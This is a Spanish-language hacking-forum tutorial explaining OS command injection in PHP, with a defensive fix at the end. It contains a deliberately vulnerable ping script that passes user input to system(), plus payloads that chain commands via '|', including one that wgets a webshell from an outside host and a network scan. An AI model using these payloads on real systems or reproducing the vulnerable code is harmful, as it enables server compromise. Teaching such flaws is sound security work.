send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Guia / Manual] Remote Command Execution RCE

  • 0 Respuestas
  • 1326 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado yoyomismo

  • *
  • Underc0der
  • Mensajes: 14
  • Actividad:
    0%
  • Reputación 0
  • Cibergolen (CPH) yo-mismo (Otros)
    • Ver Perfil
    • Foro y Blog CodeSec
    • Email
« en: Abril 10, 2013, 11:39:26 am »
Publicado inicialmente en CodeSec.org, autoría propia

Explicación

Se trata de ejecutar código arbitrario a nivel S.O.

Supongamos que tenemos una página Web, con algún software a nivel S.O. para alguna tarea, y le pasamos los parámetros adecuados por POST para hacer la llamada via system... Podemos manipular la instrucción con dos clicks

Ahora razonemos:
Código: You are not allowed to view links. Register or Login
<?php
$val 
"bin.exe $_POST["param"]";
system($val);
?>

Podemos manipular algo, y con eso basta para provocar algo. Más adelante veremos como.

Código vulnerable
Código: You are not allowed to view links. Register or Login
<?php
if(!isset($_POST["IP"]))
{
?>

<form action="ping.php" method="POST">
IP: <input name="IP"><br>
<input type="submit" value="Ping">
</form>
<?php
} else {
system("ping ".$_POST["IP"]);
}
?>

Primer fallo, Web. No limpiar ni revisar la IP, junto a una función tan peligrosa como system (Creedme, hay increibles sorpresas con PHP...)

Segundo fallo, la forma del S.O. de concatenar instrucciones.

Ataque

Este ejemplo está tratado en Windows, aunque funciona igual bajo Linux.

Si vamos a la consola de WinBug, Windows para otros, vemos que podemos concatenar comandos de la siguiente forma:
Com1 | Com2 | Com3 | ...
Citar
>>>>>>>>echo xD > xd.txt | ping localhost

Pinging yomismo-PC [::1] with 32 bytes of data:
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms

Ping statistics for ::1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

>>>>>>>>type xd.txt
xD

Tenemos una instrucción que modificar... ¿Recuerdas? ¿Y si probamos?

Modifiquemos la dirección IP enviada con Live HTTP Headers, Tamper Data o similares vía POST, para concatenar un nuevo comando...

Código: You are not allowed to view links. Register or Login
IP: 127.0.0.1 | ipconfig
Como resultado, podemos ver la configuración IP del host.

Peligros

Es una de las vulnerabilidades más críticas que conozco (Reitero que las hay mucho peores), imaginemos el siguiente caso:

Webshell:
Código: You are not allowed to view links. Register or Login
IP: 127.0.0.1 | wget http://shell.com/shell.phpOtros xD:
Código: You are not allowed to view links. Register or Login
IP: 127.0.0.1 | nmap -sP 192.168.*.*
Solución

La solución más estúpida es la más eficaz. Limpia la variable, y observa que esta corresponda a una dirección IP válida.

Como dijo RemoteExecution (Adivinen de donde viene el nick): "Una vulnerabilidad sólo es tan limitada como tu quieras

Dudas y amenazas de muerte son bienvenidas   8)

Dedicación: Stuxnet, cph, CodeSec.org, 11Sep

Saludos!
CPH: Cibergolen
Otros: Yo-Mismo

Visitame en codesec.org

 

¿Te gustó el post? COMPARTILO!



[VideoTutorial] SQL-Injection Manual + acceso al panel de administración

Iniciado por EGSEC15

Respuestas: 5
Vistas: 2179
Último mensaje Enero 11, 2013, 08:58:32 pm
por zoro248
Inyección SQLi Manual Metodo (POST)

Iniciado por OswireW0rding

Respuestas: 3
Vistas: 3237
Último mensaje Marzo 16, 2014, 11:59:48 pm
por Snifer
Tutorial Sqli Manual By Okol

Iniciado por Okol

Respuestas: 14
Vistas: 6626
Último mensaje Julio 22, 2013, 10:43:54 am
por PW[N]ED
Manual de usuario sqlmap

Iniciado por XBalBan

Respuestas: 0
Vistas: 1629
Último mensaje Septiembre 13, 2012, 10:12:56 pm
por XBalBan
Manual RFI

Iniciado por dracko.rx

Respuestas: 0
Vistas: 2014
Último mensaje Febrero 24, 2010, 02:27:48 pm
por dracko.rx